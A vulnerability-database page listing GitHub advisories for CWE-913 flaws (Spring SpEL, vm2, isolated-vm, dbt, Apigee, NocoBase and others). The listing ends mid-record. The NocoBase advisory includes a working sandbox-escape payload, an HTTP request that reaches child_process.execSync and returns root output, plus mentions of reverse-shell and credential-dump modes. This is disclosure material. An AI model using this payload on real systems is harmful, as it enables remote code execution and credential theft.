Vulnerability-Lookup

GHSA-M843-FC87-4V2M

Vulnerability from github – Published: 2026-08-27 21:31 – Updated: 2026-08-28 21:31

Details

Applications that evaluate Spring Expression Language (SpEL) expressions using SimpleEvaluationContext may be vulnerable to a safety guard bypass when the SpEL expression compiler is active. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28 Spring Framework 6.0.0 - 6.0.30 Spring Framework 5.3.0 - 5.3.49 Spring Framework 5.2.25.RELEASE and earlier

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2026-59283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T20:17:54Z",
    "severity": "CRITICAL"
  },
  "details": "Applications that evaluate Spring Expression Language (SpEL) expressions using SimpleEvaluationContext may be vulnerable to a safety guard bypass when the SpEL expression compiler is active.\nSpring Framework 7.0.0 - 7.0.8\nSpring Framework 6.2.0 - 6.2.19\nSpring Framework 6.1.0 - 6.1.28\nSpring Framework 6.0.0 - 6.0.30\nSpring Framework 5.3.0 - 5.3.49\nSpring Framework 5.2.25.RELEASE and earlier",
  "id": "GHSA-m843-fc87-4v2m",
  "modified": "2026-08-28T21:31:07Z",
  "published": "2026-08-27T21:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59283"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-59283"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MMHJ-4W6J-76H7

Vulnerability from github – Published: 2021-04-06 17:22 – Updated: 2021-03-30 22:27

Summary

Misuse of `Reference` and other transferable APIs may lead to access to nodejs isolate

Details

Versions of isolated-vm before v4.0.0, and especially before v3.0.0, have API pitfalls which may make it easy for implementers to expose supposed secure isolates to the permissions of the main nodejs isolate.

Reference objects allow access to the underlying reference's full prototype chain. In an environment where the implementer has exposed a Reference instance to an attacker they would be able to use it to acquire a Reference to the nodejs context's Function object.

Similar application-specific attacks could be possible by modifying the local prototype of other API objects.

Access to NativeModule objects could allow an attacker to load and run native code from anywhere on the filesystem. If combined with, for example, a file upload API this would allow for arbitrary code execution.

To address these issues the following changes were made in v4.0.0: - Documentation was updated with more explicit guidelines on building secure applications. - Reference instances will no longer follow prototype chains by default, nor will they invoke accessors or proxies. - All isolated-vm API prototypes are now immutable. - NativeModule constructor may only be invoked from a nodejs isolate.

Severity

8.0 (High)


                  
                    CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "isolated-vm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21413"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-30T22:27:45Z",
    "nvd_published_at": "2021-03-30T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "Versions of `isolated-vm` before v4.0.0, and especially before v3.0.0, have API pitfalls which may make it easy for implementers to expose supposed secure isolates to the permissions of the main nodejs isolate.\n\n`Reference` objects allow access to the underlying reference\u0027s full prototype chain. In an environment where the implementer has exposed a `Reference` instance to an attacker they would be able to use it to acquire a `Reference` to the nodejs context\u0027s `Function` object.\n\nSimilar application-specific attacks could be possible by modifying the local prototype of other API objects.\n\nAccess to `NativeModule` objects could allow an attacker to load and run native code from anywhere on the filesystem. If combined with, for example, a file upload API this would allow for arbitrary code execution.\n\nTo address these issues the following changes were made in v4.0.0:\n- Documentation was updated with more explicit guidelines on building secure applications.\n- `Reference` instances will no longer follow prototype chains by default, nor will they invoke accessors or proxies.\n- All `isolated-vm` API prototypes are now immutable.\n- `NativeModule` constructor may only be invoked from a nodejs isolate.",
  "id": "GHSA-mmhj-4w6j-76h7",
  "modified": "2021-03-30T22:27:45Z",
  "published": "2021-04-06T17:22:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/laverdet/isolated-vm/security/advisories/GHSA-mmhj-4w6j-76h7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21413"
    },
    {
      "type": "WEB",
      "url": "https://github.com/laverdet/isolated-vm/commit/2646e6c1558bac66285daeab54c7d490ed332b15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/laverdet/isolated-vm/commit/27151bfecc260e96714443613880e3b2e6596704"
    },
    {
      "type": "WEB",
      "url": "https://github.com/laverdet/isolated-vm/blob/main/CHANGELOG.md#v400"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Misuse of `Reference` and other transferable APIs may lead to access to nodejs isolate"
}

GHSA-MRGP-MRHC-5JRQ

Vulnerability from github – Published: 2022-09-28 13:09 – Updated: 2022-09-28 13:09

Summary

vm2 vulnerable to Sandbox Escape resulting in Remote Code Execution on host

Details

Impact

A threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox.

Patches

This vulnerability was patched in the release of version 3.9.11 of vm2

Workarounds

None.

References

Github Issue - https://github.com/patriksimek/vm2/issues/467 The file that was patched - https://github.com/patriksimek/vm2/blob/master/lib/setup-sandbox.js#L71 The commit with the patch - https://github.com/patriksimek/vm2/commit/d9a7f3cc995d3d861e1380eafb886cb3c5e2b873#diff-b1a515a627d820118e76d0e323fe2f0589ed50a1eacb490f6c3278fe3698f164

For more information

If you have any questions or comments about this advisory: * Open an issue in VM2

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.9.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-36067"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-28T13:09:01Z",
    "nvd_published_at": "2022-09-06T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nA threat actor can bypass the sandbox protections to gain remote code execution rights on the host running the sandbox.\n\n### Patches\nThis vulnerability was patched in the release of version `3.9.11` of `vm2`\n\n### Workarounds\nNone. \n\n### References\nGithub Issue - https://github.com/patriksimek/vm2/issues/467\nThe file that was patched - https://github.com/patriksimek/vm2/blob/master/lib/setup-sandbox.js#L71\nThe commit with the patch - https://github.com/patriksimek/vm2/commit/d9a7f3cc995d3d861e1380eafb886cb3c5e2b873#diff-b1a515a627d820118e76d0e323fe2f0589ed50a1eacb490f6c3278fe3698f164\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [VM2](https://github.com/patriksimek/vm2)\n\n \n",
  "id": "GHSA-mrgp-mrhc-5jrq",
  "modified": "2022-09-28T13:09:01Z",
  "published": "2022-09-28T13:09:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-mrgp-mrhc-5jrq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36067"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/issues/467"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/d9a7f3cc995d3d861e1380eafb886cb3c5e2b873#diff-b1a515a627d820118e76d0e323fe2f0589ed50a1eacb490f6c3278fe3698f164"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/blob/master/lib/setup-sandbox.js#L71"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20221017-0002"
    },
    {
      "type": "WEB",
      "url": "https://www.oxeye.io/blog/vm2-sandbreak-vulnerability-cve-2022-36067"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 vulnerable to Sandbox Escape resulting in Remote Code Execution on host"
}

GHSA-P3F3-5CCG-83XQ

Vulnerability from github – Published: 2024-07-17 15:52 – Updated: 2024-11-18 16:26

Summary

dbt has an implicit override for built-in materializations from installed packages

Details

Impact

What kind of vulnerability is it? Who is impacted?

When a user installs a package in dbt, it has the ability to override macros, materializations, and other core components of dbt. This is by design, as it allows packages to extend and customize dbt's functionality. However, this also means that a malicious package could potentially override these components with harmful code.

Patches

Has the problem been patched? What versions should users upgrade to?

Fixed on 1.8.0, and patched for 1.6.14 and 1.7.14 releases.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Previously, a materialization defined in a package that shared a name with one of the built-in materializations would be preferred by default, without user action which is surprising and makes it more difficult to detect the insecure behaviour. We've changed the default behaviour to require explicit overrides by users in 1.8.0, and provided the ability to opt-out of built-in materialization overrides in 1.6 and 1.7 via the flags.require_explicit_package_overrides_for_builtin_materializations: False configuration in dbt_project.yml

Versions older than 1.6 are EOL.

References

Are there any links users can visit to find out more? * dbt documentation: https://docs.getdbt.com/reference/global-configs/legacy-behaviors#behavior-change-flags * https://www.elementary-data.com/post/are-dbt-packages-secure-the-answer-lies-in-your-dwh-policies * https://www.equalexperts.com/blog/tech-focus/are-you-at-risk-from-this-critical-dbt-vulnerability/ * https://tempered.works/posts/2024/07/06/preventing-data-theft-with-gcp-service-controls/

Severity

4.2 (Medium)


                  
                    CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L

2.4 (Low)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "dbt-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0"
            },
            {
              "fixed": "1.6.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "dbt-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.7.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-40637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-89",
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-17T15:52:57Z",
    "nvd_published_at": "2024-07-16T23:15:24Z",
    "severity": "LOW"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nWhen a user installs a [package](https://docs.getdbt.com/docs/build/packages) in dbt, it has the ability to override macros, materializations, and other core components of dbt. This is by design, as it allows packages to extend and customize dbt\u0027s functionality. However, this also means that a malicious package could potentially override these components with harmful code.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nFixed on 1.8.0, and patched for 1.6.14 and 1.7.14 releases.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nPreviously, a materialization defined in a package that shared a name with one of the built-in materializations would be preferred by default, without user action which is surprising and makes it more difficult to detect the insecure behaviour. We\u0027ve changed the default behaviour to require explicit overrides by users in `1.8.0`, and provided the ability to opt-out of built-in materialization overrides in 1.6 and 1.7 via the `flags.require_explicit_package_overrides_for_builtin_materializations: False` configuration in `dbt_project.yml`\n\nVersions older than 1.6 are EOL.\n\n### References\n_Are there any links users can visit to find out more?_\n* dbt documentation: https://docs.getdbt.com/reference/global-configs/legacy-behaviors#behavior-change-flags\n* https://www.elementary-data.com/post/are-dbt-packages-secure-the-answer-lies-in-your-dwh-policies\n* https://www.equalexperts.com/blog/tech-focus/are-you-at-risk-from-this-critical-dbt-vulnerability/\n* https://tempered.works/posts/2024/07/06/preventing-data-theft-with-gcp-service-controls/",
  "id": "GHSA-p3f3-5ccg-83xq",
  "modified": "2024-11-18T16:26:52Z",
  "published": "2024-07-17T15:52:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dbt-labs/dbt-core/security/advisories/GHSA-p3f3-5ccg-83xq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40637"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dbt-labs/dbt-core/commit/3c82a0296d227cb1be295356df314c11716f4ff6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dbt-labs/dbt-core/commit/87ac4deb00cc9fe334706e42a365903a1d581624"
    },
    {
      "type": "WEB",
      "url": "https://docs.getdbt.com/docs/build/packages"
    },
    {
      "type": "WEB",
      "url": "https://docs.getdbt.com/reference/global-configs/legacy-behaviors#behavior-change-flags"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dbt-labs/dbt-core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/dbt-core/PYSEC-2024-66.yaml"
    },
    {
      "type": "WEB",
      "url": "https://tempered.works/posts/2024/07/06/preventing-data-theft-with-gcp-service-controls"
    },
    {
      "type": "WEB",
      "url": "https://www.elementary-data.com/post/are-dbt-packages-secure-the-answer-lies-in-your-dwh-policies"
    },
    {
      "type": "WEB",
      "url": "https://www.equalexperts.com/blog/tech-focus/are-you-at-risk-from-this-critical-dbt-vulnerability"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "dbt has an implicit override for built-in materializations from installed packages"
}

GHSA-PPCV-W2RM-62GC

Vulnerability from github – Published: 2025-12-06 00:31 – Updated: 2025-12-06 00:31

Details

A vulnerability exists in Google Apigee's JavaCallout policy https://docs.apigee.com/api-platform/reference/policies/java-callout-policy that allows for remote code execution.

It is possible for a user to write a JavaCallout that injected a malicious object into the MessageContext to execute arbitrary Java code and system commands at runtime, leading to unauthorized access to data, lateral movement within the network, and access to backend systems.

The Apigee hybrid versions below have all been updated to protect from this vulnerability: * Hybrid_1.11.2+ * Hybrid_1.12.4+ * Hybrid_1.13.3+ * Hybrid_1.14.1+ * OPDK_5202+ * OPDK_5300+

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/U:Clear

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{
  "affected": [],
  "aliases": [
    "CVE-2025-13426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-05T22:15:47Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability exists in Google  Apigee\u0027s JavaCallout policy https://docs.apigee.com/api-platform/reference/policies/java-callout-policy  that allows for remote code execution.\n\nIt is possible for a user to write a JavaCallout that injected a malicious object into the MessageContext to execute arbitrary Java code and system commands at runtime,\u00a0leading to unauthorized access to data, lateral movement within the network, and access to backend systems.\n\nThe Apigee hybrid versions below have all been updated to protect from this vulnerability:\n  *  Hybrid_1.11.2+\n  *  Hybrid_1.12.4+\n  *  Hybrid_1.13.3+\n  *  Hybrid_1.14.1+\n  *  OPDK_5202+\n  *  OPDK_5300+",
  "id": "GHSA-ppcv-w2rm-62gc",
  "modified": "2025-12-06T00:31:35Z",
  "published": "2025-12-06T00:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13426"
    },
    {
      "type": "WEB",
      "url": "https://docs.cloud.google.com/apigee/docs/hybrid/release-notes#March_01_2025"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Clear",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-PX3P-VGH9-M57C

Vulnerability from github – Published: 2026-03-30 17:16 – Updated: 2026-03-31 18:50

Summary

NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node

Details

## Summary

NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr.

An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.

Exploit Chain

console._stdout.constructor.constructor → host-realm Function constructor
Function('return process')() → Node.js process object
process.mainModule.require('child_process') → unrestricted module loading
child_process.execSync('id') → RCE as root

This completely bypasses the customRequire allowlist.

Impact

Remote Code Execution as root (uid=0) inside Docker container
Database credential theft (DB_PASSWORD, INIT_ROOT_PASSWORD from process.env)
Arbitrary file read/write via require('fs')
Reverse shell confirmed
Outbound network access for lateral movement

Proof of Concept

HTTP Request:

POST /api/flow_nodes:test Authorization: Bearer Content-Type: application/json

{ "type": "script", "config": { "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } }

Response:

{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}

Environment

Docker image: nocobase/nocobase:latest
NocoBase CLI: v2.0.26
Node.js: v20.20.1
OS: Debian GNU/Linux 12 (bookworm)

PoC

Got reverse shell

Screenshot 2026-03-26 at 06 09 51

Proof of concept the root privileges

Screenshot 2026-03-26 at 06 12 29

os-release demonstration

Screenshot 2026-03-26 at 06 12 54

App path

Screenshot 2026-03-26 at 06 14 04

Exploit Usage:

Reverse Shell Mode

tool1

Dump system information & creds

tool2

Remote Command Execution Mode

tool3

Remediation

Replace Node.js vm module with isolated-vm for true V8 isolate separation
Do not pass the host console object into the sandbox; create a clean proxy
Run the application as a non-root user inside Docker
Restrict /api/flow_nodes:test to admin-only roles

Alternative Escape Vectors

console._stderr.constructor.constructor (identical chain via stderr)
Error.prepareStackTrace + CallSite.getThis() (V8 CallSite API)

Reporter

Onurcan Genç — Independent Security Researcher, Bilkent University

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.27"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-workflow-javascript"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34156"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-30T17:16:24Z",
    "nvd_published_at": "2026-03-31T14:16:12Z",
    "severity": "CRITICAL"
  },
  "details": "`##` Summary\n\nNocoBase\u0027s Workflow Script Node executes user-supplied JavaScript inside a Node.js `vm` sandbox with a custom `require` allowlist (controlled by `WORKFLOW_SCRIPT_MODULES` env var). However, the `console` object passed into the sandbox context exposes host-realm `WritableWorkerStdio` stream objects via `console._stdout` and `console._stderr`.\n\nAn authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.\n\n## Exploit Chain\n\n1. `console._stdout.constructor.constructor` \u2192 host-realm `Function` constructor\n2. `Function(\u0027return process\u0027)()` \u2192 Node.js `process` object\n3. `process.mainModule.require(\u0027child_process\u0027)` \u2192 unrestricted module loading\n4. `child_process.execSync(\u0027id\u0027)` \u2192 RCE as root\n\nThis completely bypasses the `customRequire` allowlist.\n\n## Impact\n\n- Remote Code Execution as root (uid=0) inside Docker container\n- Database credential theft (`DB_PASSWORD`, `INIT_ROOT_PASSWORD` from `process.env`)\n- Arbitrary file read/write via `require(\u0027fs\u0027)`\n- Reverse shell confirmed\n- Outbound network access for lateral movement\n\n## Proof of Concept\n\n**HTTP Request:**\n\nPOST /api/flow_nodes:test\nAuthorization: Bearer \u003cJWT_TOKEN\u003e\nContent-Type: application/json\n\n{\n  \"type\": \"script\",\n  \"config\": {\n    \"content\": \"const Fn=console._stdout.constructor.constructor;const proc=Fn(\u0027return process\u0027)();const cp=proc.mainModule.require(\u0027child_process\u0027);return cp.execSync(\u0027id\u0027).toString().trim();\",\n    \"timeout\": 5000,\n    \"arguments\": []\n  }\n}\n\n**Response:**\n\n{\"data\":{\"status\":1,\"result\":\"uid=0(root) gid=0(root) groups=0(root)\",\"log\":\"\"}}\n\n## Environment\n\n- Docker image: `nocobase/nocobase:latest`\n- NocoBase CLI: v2.0.26\n- Node.js: v20.20.1\n- OS: Debian GNU/Linux 12 (bookworm)\n\n## PoC\n\nGot reverse shell\n\n\u003cimg width=\"1300\" height=\"743\" alt=\"Screenshot 2026-03-26 at 06 09 51\" src=\"https://github.com/user-attachments/assets/fcb65346-2d98-485a-a849-153d5957c78e\" /\u003e\n\nProof of concept the root privileges\n\n\u003cimg width=\"1292\" height=\"515\" alt=\"Screenshot 2026-03-26 at 06 12 29\" src=\"https://github.com/user-attachments/assets/599cd915-d5e9-47b6-9ddb-655ae4f22d50\" /\u003e\n\nos-release demonstration\n\n\u003cimg width=\"1290\" height=\"523\" alt=\"Screenshot 2026-03-26 at 06 12 54\" src=\"https://github.com/user-attachments/assets/48030450-f2b1-4edc-a7f0-caafbf55dd00\" /\u003e\n\n\u003cimg width=\"1296\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f7012c09-885b-48fb-a6d4-7282c0326d0b\" /\u003e\n\nApp path\n\n\u003cimg width=\"1295\" height=\"516\" alt=\"Screenshot 2026-03-26 at 06 14 04\" src=\"https://github.com/user-attachments/assets/b4846af8-cb10-4c2a-886f-b19a120c2245\" /\u003e\n\n## Exploit Usage:\n\nReverse Shell Mode\n\n\u003cimg width=\"1299\" height=\"523\" alt=\"tool1\" src=\"https://github.com/user-attachments/assets/6c26d6f3-0ad2-4a61-9692-b150409ee569\" /\u003e\n\nDump system information \u0026 creds\n\n\u003cimg width=\"635\" height=\"591\" alt=\"tool2\" src=\"https://github.com/user-attachments/assets/08dbc231-d686-4536-8a74-272ceb5c10a8\" /\u003e\n\nRemote Command Execution Mode\n\n\u003cimg width=\"644\" height=\"467\" alt=\"tool3\" src=\"https://github.com/user-attachments/assets/fc95d89b-eff5-4eec-87b4-f6022778feec\" /\u003e\n\n\n\n## Remediation\n\n1. Replace Node.js `vm` module with `isolated-vm` for true V8 isolate separation\n2. Do not pass the host `console` object into the sandbox; create a clean proxy\n3. Run the application as a non-root user inside Docker\n4. Restrict `/api/flow_nodes:test` to admin-only roles\n\n## Alternative Escape Vectors\n\n- `console._stderr.constructor.constructor` (identical chain via stderr)\n- `Error.prepareStackTrace` + `CallSite.getThis()` (V8 CallSite API)\n\n## Reporter\n\nOnurcan Gen\u00e7 \u2014 Independent Security Researcher, Bilkent University",
  "id": "GHSA-px3p-vgh9-m57c",
  "modified": "2026-03-31T18:50:32Z",
  "published": "2026-03-30T17:16:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34156"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/8967"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.28"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node"
}

GHSA-Q358-8XV4-RG52

Vulnerability from github – Published: 2022-05-24 17:29 – Updated: 2022-05-24 17:29

Details

A vulnerability in the command-line interface in Brocade Fabric OS before Brocade Fabric OS v8.2.2a1, 8.2.2c, v7.4.2g, v8.2.0_CBN3, v8.2.1e, v8.1.2k, v9.0.0, could allow a local authenticated attacker to modify shell variables, which may lead to an escalation of privileges or bypassing the logging.

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{
  "affected": [],
  "aliases": [
    "CVE-2020-15372"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-25T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the command-line interface in Brocade Fabric OS before Brocade Fabric OS v8.2.2a1, 8.2.2c, v7.4.2g, v8.2.0_CBN3, v8.2.1e, v8.1.2k, v9.0.0, could allow a local authenticated attacker to modify shell variables, which may lead to an escalation of privileges or bypassing the logging.",
  "id": "GHSA-q358-8xv4-rg52",
  "modified": "2022-05-24T17:29:33Z",
  "published": "2022-05-24T17:29:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15372"
    },
    {
      "type": "WEB",
      "url": "https://www.broadcom.com/support/fibre-channel-networking/security-advisories/brocade-security-advisory-2020-1081"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-Q6H9-JC46-5C2P

Vulnerability from github – Published: 2025-12-15 03:30 – Updated: 2025-12-15 03:30

Details

A vulnerability was determined in SamuNatsu HaloBot up to 026b01d4a896d93eaaf9d5163a287dc9f267515b. Affected is the function html_renderer of the file plugins/html_renderer/index.js of the component Inter-plugin API. Executing manipulation of the argument action can lead to dynamically-managed code resources. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.

Severity

6.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

2.1 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

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{
  "affected": [],
  "aliases": [
    "CVE-2025-14695"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-15T01:15:38Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in SamuNatsu HaloBot up to 026b01d4a896d93eaaf9d5163a287dc9f267515b. Affected is the function html_renderer of the file plugins/html_renderer/index.js of the component Inter-plugin API. Executing manipulation of the argument action can lead to dynamically-managed code resources. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way. This vulnerability only affects products that are no longer supported by the maintainer.",
  "id": "GHSA-q6h9-jc46-5c2p",
  "modified": "2025-12-15T03:30:18Z",
  "published": "2025-12-15T03:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14695"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rassec2/dbcve/issues/20"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.336413"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.336413"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.705587"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q72C-36C3-WHH7

Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-05-24 19:09

Details

There is an Improper Control of Dynamically Managing Code Resources Vulnerability in Huawei Smartphone.Successful exploitation of this vulnerability may allow attempts to remotely execute commands.

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{
  "affected": [],
  "aliases": [
    "CVE-2021-22387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
